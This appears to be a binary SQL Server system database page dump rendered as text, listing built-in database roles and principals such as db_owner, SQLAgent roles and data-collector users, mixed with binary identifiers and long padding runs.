07Sdc_proxy	Sv 'L
.
w0Sܫ[ܫ[
0_{MS_DataCollectorInternalUser	=z6J^*X30Sܫ[ܫ[
cMS_DataCollectorInternalUser	=z6J^*X3dbo0R1\1\
0UqPolicyAdministratorRole	fZL;oն0Rl1\l1\
0_{ServerGroupAdministratorRole	ŦKɋH}:ic(0R1\1\
0QmServerGroupReaderRole	<*C5cu0S5\5\
0iy##MS_PolicyEventProcessingLogin##!	OnU'0S5\5\
m}}##MS_PolicyEventProcessingLogin##!	OnU'dbo0S5\5\
0eu##MS_PolicyTsqlExecutionLogin##T(,hGECY#X0S5\5\
iyy##MS_PolicyTsqlExecutionLogin##T(,hGECY#Xdbo0R>N\>N\
0GcUtilityCMRReader	>TЍBNܚ-0RN\N\
0GcUtilityIMRWriter	!2lE&Ò0RN\N\
0GcUtilityIMRReader	\Oz_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xY8E
m
wV

=
	w		B=`
Z\( J{^[8!!!!`"]G@&public&@db_owner&@%db_accessadmin&@)db_securityadmin&@db_ddladmin&@+db_backupoperator&@#db_datareader&@#db_datawriter&@+db_denydatareader&	@+db_denydatawriter&guest&dbo&sys&-INFORMATION_SCHEMA&+TargetServersRole&)SQLAgentUserRole&-SQLAgentReaderRole&1SQLAgentOperatorRole&	1DatabaseMailUserRole&
!db_ssisadmin&%db_ssisltduser&'db_ssisoperator&
dc_operator&dc_admin&dc_proxy&AMS_DataCollectorInternalUser&7PolicyAdministratorRole&AServerGroupAdministratorRole&3ServerGroupReaderRole&K##MS_PolicyEventProcessingLogin##&G##MS_PolicyTsqlExecutionLogin##&)UtilityCMRReader&)UtilityIMRWriter&)UtilityIMRReader!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h? Ktz9`pI$ulI&
Z^(,H|*^]8!!!!`"S_Gj_6(	~k0EBHX/6@	@6@	@6@	@6@	@6@	@6@	@6@	@6@	@6	@		@6
:
6(	tgIKC'b6@(	@6@(	@6@(	@6@(	@6@(	@6@(	@6@(	@6@(	@6	@(		@6
6(	'FNE';X(d6(	y<
Kӵo6(	&@0K6(	<Mh46	(	ȁhLqE6_$6
(	NMLn=6(	wʷB-6(	R)LvDKNW6
(	ZG}j6(	B}@j^l6(	Sv 'L
.
w6(	=z6J^*X36(	fZL;oն6(	ŦKɋH}:ic(6(	<*C5cu6!	OnU'6T(,hGECY#X6(	>TЍBNܚ-6(	!2lE&Ò6(	\Oz_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!